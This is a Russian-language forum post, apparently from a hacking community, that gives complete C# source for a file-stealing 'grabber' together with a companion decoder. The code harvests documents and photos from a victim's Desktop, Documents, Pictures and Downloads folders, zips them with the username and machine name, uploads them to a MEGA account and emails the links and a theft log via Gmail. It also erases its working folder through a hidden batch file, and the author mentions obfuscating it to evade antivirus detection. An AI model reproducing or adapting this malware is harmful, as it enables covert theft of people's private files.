Привет. Сегодня хочу рассказать вам о своем граббере. Он работает на основе сбора файлов с конкретным расширением и размером.
В нем используются пакеты NuGet - DotNetZip.Reduced и MegaApiClient. Некоторые непонятные моменты в коде дополнены комментариями, и будьте добры, без жесткой критики, все же первая статья. Да, программа не оптимизирована, знаю.
Работу всей этой жести можно охарактеризовать так:
Думаю, это первый граббер файлов с отправкой на мегу, до этого я не встречал таких. Из минусов - .Net framework >= 4.5.
Сделал код максимально удобным, все можете подстроить под себя.
В общем, создаем консольное приложение с именем Grabber, устанавливаем нагет пакеты, о которых сказано сверху, и в Program.cs пишем:
Дальше переходим к основному, к Grab.cs
И последнее - Mega.cs
Рассказываю, для чего нужна повторная отправка файлов:
Дело в том, что в библиотеке MegaApiClient есть противный баг, а именно если в очереди загрузки на облако меньше 2-3 файлов, то скорость падает до нуля и не повышается, именно для этого и нужно дополнительно создать трафик. Конкретно для маленьких файлов этот баг не существенен. Поэтому и стоит условие if.
Также реализовано следующее:
Как только нужные файлы отправятся, происходит выход из программы. Это нужно чтобы не отправлять дубликаты, но, возможно что некоторые все же отправятся.
Для исправной работы отправки письма в гугл аккаунте нужно включить небезопасные приложения, и в App.config для уверенности добавить:
Чтобы собрать файл вместе со всеми dll-ками и xml-ками вместе, я использую SmartAssembly.
Итоговый детект файла до обфускации:
Итоговый детект файла после обфускации:
Также, чтобы расшифровать имена папок и файлов в загруженном из меги архиве, нужно создать еще одно консольное приложение с именем Decoder и воспользоваться этим кодом:
Собираем приложение, и создаем рядом с файлом декодера две папки - files и photos. В files кидаем все содержимое архивов Files, а в photos - все содержимое архивов Photos соответственно. Запускаем декодер и он все расшифровывает.
На этом все, остальное - дело за вами, это только лишь самый базовый рабочий код.
В нем используются пакеты NuGet - DotNetZip.Reduced и MegaApiClient. Некоторые непонятные моменты в коде дополнены комментариями, и будьте добры, без жесткой критики, все же первая статья. Да, программа не оптимизирована, знаю.
Работу всей этой жести можно охарактеризовать так:
- Создание списка с документами и фото для копирования.
- Копирование сначала документов, и как только размер папки, куда копируются документы, будет больше 256 мегабайт, эта папка пакуется в архив. Все это происходит пока не закончатся документы из списка.
- Все то же самое происходит с фото.
- Отправка на мегу.
- Отправка на почту лога и файла с ссылками. (для удобства)
- Выход
Думаю, это первый граббер файлов с отправкой на мегу, до этого я не встречал таких. Из минусов - .Net framework >= 4.5.
Сделал код максимально удобным, все можете подстроить под себя.
В общем, создаем консольное приложение с именем Grabber, устанавливаем нагет пакеты, о которых сказано сверху, и в Program.cs пишем:
C#:
using System;
using System.IO;
using System.Threading;
namespace Grabber
{
class Program
{
public static string path = Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Grabber"; //рабочая папка
public static string userName = Environment.UserName; // переменные названия компа и пользователя
public static string comp = Environment.MachineName;
public static string loger = @"loger.txt"; //лог файл о похищении файлов
public static string links = @"links.txt"; //файл с ссылками
public static string megalogin = "логин от меги";
public static string megapass = "пароль от меги";
public static string pochta = "логин от почты";
public static string pochtapass = "пароль от почты";
public static string pochtato = "кому отправляем";
public static long SizeFile = 8000000; //какой должен быть максимальный размер документа, чтобы граббер его скопировал (меньше 8 мегабайт)
public static long SizePhoto = 6000000; //какой должен быть максимальный размер фото, чтобы граббер его скопировал (меньше 6 мегабайт)
public static long SizeZip = 256000000; // максимальный размер архива для отправки (256 мегабайт)
public static string supportedExtensions = "*.txt,*.doc,*.docx,*.xls,*.xlsx,*.pdf,*.zip,*.rar,*.7z,*.rtf"; //расширения документов
public static string gestapo = "*.jpg,*.png,*.img,*.bmp,*.jpeg"; //расширения изображений
public static ManualResetEvent resetEvent = new ManualResetEvent(false); //ресетевент для предотвращения раннего закрытия граббера
static void Main(string[] args)
{
if (!Directory.Exists(path)) { Directory.CreateDirectory(path); }
Directory.SetCurrentDirectory(path); //устанавливаем рабочую папку как основную
File.WriteAllText(loger, "Лог граббера: " + Environment.NewLine);
File.WriteAllText(links, "Ссылки: " + Environment.NewLine);
Directory.CreateDirectory(@"files"); //создаем папки, куда будут пиздится файлы
Directory.CreateDirectory(@"photos");
Grab.may(); //инициализация списков файлов + проверка на второй запуск (подробнее в коде)
Grab.GrabDocs(); //пиздим документы
Grab.GrabImages(); //пиздим фото
Mega.Steal(); // отправляем на мегу
resetEvent.WaitOne(); //ждем, пока отправятся все файлы
}
}
}
C#:
using Ionic.Zip;
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Runtime.InteropServices;
using System.Text;
namespace Grabber
{
class Grab : Program
{
public static class KnownFolder
{
public static readonly Guid Downloads = new Guid("374DE290-123F-4565-9164-39C4925E467B");
}
[DllImport("shell32.dll", CharSet = CharSet.Unicode)]
static extern int SHGetKnownFolderPath([MarshalAs(UnmanagedType.LPStruct)] Guid rfid, uint dwFlags, IntPtr hToken, out string pszPath);
static string asd = Environment.GetFolderPath(Environment.SpecialFolder.Desktop);
static string downloads;
static string documents = Environment.GetFolderPath(Environment.SpecialFolder.MyDocuments);
static string pictures = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures);
static List<string> myFiles = new List<string>();
static List<string> myPictures = new List<string>();
public static List<string> Zip = new List<string>(); //список с архивами для отправки
public static string DR = @"files\\";
public static string PR = @"photos\\";
public static string TR0 = DR + @"Files" + x;
public static string PR0 = PR + @"Photos" + x;
public static int x = 0;
public static int y = 0;
public static void may()
{
SHGetKnownFolderPath(KnownFolder.Downloads, 0, IntPtr.Zero, out downloads); //установка переменной папки загрузок
// то, что ниже - поиск файлов для похищения
myFiles.AddRange(GetFilesDoc(pictures, "*.*"));
myFiles.AddRange(GetFilesDoc(documents, "*.*"));
myFiles.AddRange(GetFilesDoc(asd, "*.*"));
myFiles.AddRange(GetFilesDoc(downloads, "*.*"));
//--------
myPictures.AddRange(GetPictures(pictures, "*.*"));
myPictures.AddRange(GetPictures(documents, "*.*"));
myPictures.AddRange(GetPictures(asd, "*.*"));
myPictures.AddRange(GetPictures(downloads, "*.*"));
//конец
// Эта часть кода отвечает за то, чтобы граббер воровал только новые файлы, когда запущен во второй раз.
List<string> binFiles = myFiles;
List<string> binPhotos = myPictures;
if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsFiles.txt"))
{
string[] Files = File.ReadAllLines(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsFiles.txt");
List<string> nFiles = new List<string>(Files);
foreach (string s in nFiles) { if (!File.Exists(s)) { nFiles.Remove(s); } }
myFiles = myFiles.Except(nFiles).ToList();
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsFiles.txt", "");
}
if (File.Exists(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsPhotos.txt"))
{
string[] Photos = File.ReadAllLines(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsPhotos.txt");
List<string> nPhotos = new List<string>(Photos);
foreach (string s in nPhotos) { if (!File.Exists(s)) { nPhotos.Remove(s); } }
myPictures = myPictures.Except(nPhotos).ToList();
File.WriteAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsPhotos.txt", "");
}
foreach (string s in binFiles) { File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsFiles.txt", s + Environment.NewLine); }
foreach (string s in binPhotos) { File.AppendAllText(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData) + @"\\Microsoft\\pathsPhotos.txt", s + Environment.NewLine); }
//конец
}
static Random rand = new Random();
public static void GrabDocs()
{
foreach (string imageFile in myFiles)
{
if (!Directory.Exists(TR0))
{
Directory.CreateDirectory(TR0);
}
DirectoryInfo donf = new DirectoryInfo(TR0);
if (CalculateDirectorySize(donf, true) >= SizeZip)
{
using (ZipFile zip = new ZipFile())
{
zip.Password = "5555"; //пароль на архив
zip.AlternateEncodingUsage = ZipOption.Always;
zip.AlternateEncoding = Encoding.GetEncoding(866); //кодировка
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression; //сжатие
zip.AddDirectory(TR0);
zip.Save(TR0 + "_" + userName + "_" + comp + ".zip"); //пакуем ублюдка
}
Zip.Add(TR0 + "_" + userName + "_" + comp + ".zip");
DeleteDirectory(TR0);
x++;
TR0 = DR + @"Files" + x;
Directory.CreateDirectory(TR0);
}
string shit;
string blyat;
string shit0 = Path.GetFileName(imageFile);
string shit1 = Path.GetFileNameWithoutExtension(imageFile);
string shit2 = Path.GetExtension(imageFile);
string dir = Base64Encode(Path.GetFileName(Path.GetDirectoryName(imageFile))); //имена файлов и папок шифруются base64
blyat = TR0 + @"\\" + dir + @"\\" + shit0;
shit = TR0 + @"\\" + dir + @"\\" + Base64Encode(shit1);
long length = new FileInfo(imageFile).Length;
Console.WriteLine(shit);
if (Path.HasExtension(shit + shit2))
{
if (length <= SizeFile)
{
try
{
if (!Directory.Exists(TR0 + @"\\" + Path.GetFileName(Path.GetDirectoryName(blyat))))
{
string createText = "Нет папки, создание: " + dir + Environment.NewLine;
File.AppendAllText(loger, createText);
Directory.CreateDirectory(TR0 + @"\\" + Path.GetFileName(Path.GetDirectoryName(blyat)));
File.Copy(imageFile, shit + shit2, true);
string createText1 = "Документ успешно скопирован: " + shit0 + Environment.NewLine;
File.AppendAllText(loger, createText1 + "*********************************************************" + Environment.NewLine);
}
else
{
if (File.Exists(shit + shit2))
{
if (new FileInfo(imageFile).Length != new FileInfo(shit + shit2).Length)
{
File.Copy(imageFile, TR0 + @"\\" + Path.GetFileName(Path.GetDirectoryName(blyat)) + @"\\" + Base64Encode(shit1 + rand.Next(0, 9999)) + shit2, true); //защита от замены разных файлов с одинаковыми названиями
}
}
else
{
File.Copy(imageFile, shit + shit2, true);
}
string createText1 = "Документ успешно скопирован: " + shit0 + Environment.NewLine;
File.AppendAllText(loger, createText1 + "*********************************************************" + Environment.NewLine);
}
}
catch { }
}
}
}
if (!Directory.Exists(TR0))
{
Directory.CreateDirectory(TR0);
}
if (!File.Exists(DR + "Files" + x + "_" + userName + "_" + comp + ".zip")) //это нужно для того, чтобы упаковать последнюю папку в архив
{
TR0 = DR + @"Files" + x;
using (ZipFile zip = new ZipFile())
{
zip.Password = "5555";
zip.AlternateEncodingUsage = ZipOption.Always;
zip.AlternateEncoding = Encoding.GetEncoding(866);
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.AddDirectory(TR0);
zip.Save(TR0 + "_" + userName + "_" + comp + ".zip");
}
Zip.Add(TR0 + "_" + userName + "_" + comp + ".zip");
DeleteDirectory(TR0);
}
}
//дальше идет граббер фото, его можно оставить без комментариев, так как он похож на граббер документов
public static void GrabImages()
{
foreach (string imageFile in myPictures)
{
if (!Directory.Exists(PR0))
{
Directory.CreateDirectory(PR0);
}
DirectoryInfo donf = new DirectoryInfo(PR0);
if (CalculateDirectorySize(donf, true) >= SizeZip)
{
using (ZipFile zip = new ZipFile())
{
zip.Password = "5555";
zip.AlternateEncodingUsage = ZipOption.Always;
zip.AlternateEncoding = Encoding.GetEncoding(866);
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.AddDirectory(PR0);
zip.Save(PR0 + "_" + userName + "_" + comp + ".zip");
}
Zip.Add(PR0 + "_" + userName + "_" + comp + ".zip");
DeleteDirectory(PR0);
y++;
PR0 = PR + @"Photos" + y;
Directory.CreateDirectory(PR0);
}
string shit;
string blyat;
string shit0 = Path.GetFileName(imageFile);
string shit1 = Path.GetFileNameWithoutExtension(imageFile);
string shit2 = Path.GetExtension(imageFile);
string dir = Base64Encode(Path.GetFileName(Path.GetDirectoryName(imageFile)));
blyat = PR0 + @"\\" + dir + @"\\" + shit0;
shit = PR0 + @"\\" + dir + @"\\" + Base64Encode(shit1);
long length = new FileInfo(imageFile).Length;
Console.WriteLine(shit);
if (Path.HasExtension(shit + shit2))
{
if (length <= SizePhoto)
{
try
{
if (!Directory.Exists(PR0 + @"\\" + Path.GetFileName(Path.GetDirectoryName(blyat))))
{
string createText = "Нет папки, создание: " + dir + Environment.NewLine;
File.AppendAllText(loger, createText);
Directory.CreateDirectory(PR0 + @"\\" + Path.GetFileName(Path.GetDirectoryName(blyat)));
File.Copy(imageFile, shit + shit2, true);
string createText1 = "Фото успешно скопировано: " + shit0 + Environment.NewLine;
File.AppendAllText(loger, createText1 + "*********************************************************" + Environment.NewLine);
}
else
{
if (File.Exists(shit + shit2))
{
if (new FileInfo(imageFile).Length != new FileInfo(shit + shit2).Length)
{
File.Copy(imageFile, PR0 + @"\\" + Path.GetFileName(Path.GetDirectoryName(blyat)) + @"\\" + Base64Encode(shit1 + rand.Next(0, 9999)) + shit2, true);
}
}
else
{
File.Copy(imageFile, shit + shit2, true);
}
string createText1 = "Фото успешно скопировано: " + shit0 + Environment.NewLine;
File.AppendAllText(loger, createText1 + "*********************************************************" + Environment.NewLine);
}
}
catch { }
}
}
}
if (!Directory.Exists(PR0))
{
Directory.CreateDirectory(PR0);
}
if (!File.Exists(PR + "Photos" + y + "_" + userName + "_" + comp + ".zip"))
{
PR0 = PR + @"Photos" + y;
using (ZipFile zip = new ZipFile())
{
zip.Password = "5555";
zip.AlternateEncodingUsage = ZipOption.Always;
zip.AlternateEncoding = Encoding.GetEncoding(866);
zip.CompressionLevel = Ionic.Zlib.CompressionLevel.BestCompression;
zip.AddDirectory(PR0);
zip.Save(PR0 + "_" + userName + "_" + comp + ".zip");
}
Zip.Add(PR0 + "_" + userName + "_" + comp + ".zip");
DeleteDirectory(PR0);
}
}
public static List<string> GetFilesDoc(string path, string pattern) //функция поиска документов
{
var files = new List<string>();
try
{
files.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly).Where(s => supportedExtensions.Contains(Path.GetExtension(s).ToLower())));
foreach (var directory in Directory.GetDirectories(path))
files.AddRange(GetFilesDoc(directory, pattern));
}
catch { }
return files;
}
public static List<string> GetPictures(string path, string pattern) //функция поиска фото
{
var files = new List<string>();
try
{
files.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly).Where(s => gestapo.Contains(Path.GetExtension(s).ToLower())));
foreach (var directory in Directory.GetDirectories(path))
files.AddRange(GetPictures(directory, pattern));
}
catch { }
return files;
}
public static long CalculateDirectorySize(DirectoryInfo directory, bool includeSubdirectories) //расчет размера папки
{
long totalSize = 0;
FileInfo[] files = directory.GetFiles();
foreach (FileInfo file in files)
{
totalSize += file.Length;
}
if (includeSubdirectories)
{
DirectoryInfo[] dirs = directory.GetDirectories();
foreach (DirectoryInfo dir in dirs)
{
totalSize += CalculateDirectorySize(dir, true);
}
}
return totalSize;
}
public static void DeleteDirectory(string path) //снести нахуй папку со всеми файлами
{
if (Directory.Exists(path))
{
foreach (string file in Directory.GetFiles(path))
{
File.Delete(file);
}
foreach (string directory in Directory.GetDirectories(path))
{
DeleteDirectory(directory);
}
Directory.Delete(path);
}
}
public static string Base64Encode(string plainText) //base64 шифровщик
{
try
{
var plainTextBytes = Encoding.UTF8.GetBytes(plainText);
return Convert.ToBase64String(plainTextBytes);
}
catch
{
return plainText;
}
}
}
}
C#:
using CG.Web.MegaApiClient;
using System;
using System.Collections.Generic;
using System.Diagnostics;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Mail;
using System.Threading.Tasks;
namespace Grabber
{
class Mega : Program
{
public static readonly MegaApiClient client = new MegaApiClient();
static List<string> files = new List<string>();
static long asa;
public static void Steal()
{
client.Login(megalogin, megapass); // входим в мегу
foreach (string file in Grab.Zip) //получаем из списка файлы для отправки
{
long length = new System.IO.FileInfo(file).Length;
asa += length;
Console.WriteLine(file);
Upload(file);
}
if (asa >= 4000000) { foreach (string file in Grab.Zip) { Upload(file); }} //что это? подробнее в посте снизу
}
public static async Task Upload(string file)
{
IEnumerable<INode> nodes = client.GetNodes();
INode root = nodes.Single(x => x.Type == NodeType.Root);
INode filesss = await client.UploadFileAsync(file, root, new Progress<double>()); //отправляем в корень облака (root)
if (!files.Contains(file))
{
Uri haha = await client.GetDownloadLinkAsync(filesss); //добавляем ссылку на файл в текстовик
string str1 = haha.ToString();
File.AppendAllText(links, file + " " + str1 + Environment.NewLine + "*********************************************************" + Environment.NewLine);
}
files.Add(file);
if (Grab.Zip.All(files.Contains)) { exit(); } //также подробнее снизу в посте
}
public static void exit()
{
try { Pochta_linker(); }
catch { }
client.Logout(); //выходим
Directory.SetCurrentDirectory(Environment.GetFolderPath(Environment.SpecialFolder.ApplicationData)); // надо
//удаление папки с остатками файлов
string batch = Path.GetTempFileName() + ".bat";
using (StreamWriter sw = new StreamWriter(batch))
{
sw.WriteLine("@echo off");
sw.WriteLine("rmdir /Q /S " + path);
}
Process.Start(new ProcessStartInfo()
{
FileName = batch,
CreateNoWindow = false,
ErrorDialog = false,
UseShellExecute = false,
WindowStyle = ProcessWindowStyle.Hidden
});
//--------------------------------------------
resetEvent.Set(); //разрешаем программе уйти на покой
}
public static void Pochta_linker()
{
SmtpClient Smtp = new SmtpClient("smtp.gmail.com", 587)
{
Timeout = 10000,
DeliveryMethod = SmtpDeliveryMethod.Network,
UseDefaultCredentials = true,
Credentials = new NetworkCredential(pochta, pochtapass),
EnableSsl = true
};
MailMessage Message = new MailMessage();
Message.From = new MailAddress(pochta);
Message.To.Add(pochtato);
Message.Subject = "Файлы - " + userName + "_" + comp;
Message.Body = "Лови!";
Message.Attachments.Add(new Attachment(links));
Message.Attachments.Add(new Attachment(loger));
Smtp.Send(Message);
}
}
}
C#:
if (asa >= 4000000) { foreach (string file in Grab.Zip) { Upload(file); }}
Также реализовано следующее:
C#:
if (Grab.Zip.All(files.Contains)) { exit(); }
Для исправной работы отправки письма в гугл аккаунте нужно включить небезопасные приложения, и в App.config для уверенности добавить:
C#:
<configuration>
<system.net>
<mailSettings>
<smtp>
<network enableSsl="true"/>
</smtp>
</mailSettings>
</system.net>
</configuration>
Итоговый детект файла до обфускации:
Итоговый детект файла после обфускации:
Также, чтобы расшифровать имена папок и файлов в загруженном из меги архиве, нужно создать еще одно консольное приложение с именем Decoder и воспользоваться этим кодом:
C#:
using System;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Text;
namespace Decoder
{
class Program
{
static List<string> myFiles = new List<string>();
static List<string> myDirectories = new List<string>();
static void Main(string[] args)
{
myDirectories.AddRange(Directory.GetFileSystemEntries(@"files", "*", SearchOption.AllDirectories));
if (Directory.Exists(@"photos"))
{
myDirectories.AddRange(Directory.GetFileSystemEntries(@"photos", "*", SearchOption.AllDirectories));
}
Console.WriteLine("Расшифровка папок!");
foreach (string s in myDirectories)
{
try
{
Directory.Move(Path.GetDirectoryName(s), Path.Combine(Path.GetDirectoryName(Path.GetDirectoryName(s)) + @"\\" + Base64Decode(Path.GetFileName(Path.GetDirectoryName(s)))));
Console.WriteLine("старый path: " + Path.GetDirectoryName(s));
Console.WriteLine("новый path: " + Path.Combine(Path.GetDirectoryName(Path.GetDirectoryName(s)) + @"\\" + Base64Decode(Path.GetFileName(Path.GetDirectoryName(s)))));
}
catch { }
}
myFiles.AddRange(GetFiles(@"files", "*.*"));
if (Directory.Exists(@"photos"))
{
myFiles.AddRange(GetFiles(@"photos", "*.*"));
}
Console.WriteLine("Расшифровка файлов!");
foreach (string f in myFiles)
{
try
{
Console.WriteLine("успех файла: " + Base64Decode(Path.GetFileNameWithoutExtension(f)) + Path.GetExtension(f));
File.Move(f, Path.GetFullPath(Path.GetDirectoryName(f)) + @"\\" + Base64Decode(Path.GetFileNameWithoutExtension(f)) + Path.GetExtension(f));
}
catch
{
try
{
File.Move(f, Path.GetFullPath(Path.GetDirectoryName(f)) + @"\\" + Base64Decode(Base64Decode(Path.GetFileNameWithoutExtension(f))) + Path.GetExtension(f));
}
catch
{
Console.WriteLine("файл инвалид: " + Path.GetFileNameWithoutExtension(f));
}
}
}
Console.WriteLine("Нажми Enter чтобы выйти ");
Console.ReadLine();
}
public static string Base64Decode(string base64EncodedData)
{
string p0 = Encoding.UTF8.GetString(Convert.FromBase64String(base64EncodedData));
return p0;
}
public static List<string> GetFiles(string path, string pattern)
{
var files = new List<string>();
try
{
files.AddRange(Directory.GetFiles(path, pattern, SearchOption.TopDirectoryOnly));
foreach (var directory in Directory.GetDirectories(path))
files.AddRange(GetFiles(directory, pattern));
}
catch { }
return files;
}
}
}
На этом все, остальное - дело за вами, это только лишь самый базовый рабочий код.
Последнее редактирование: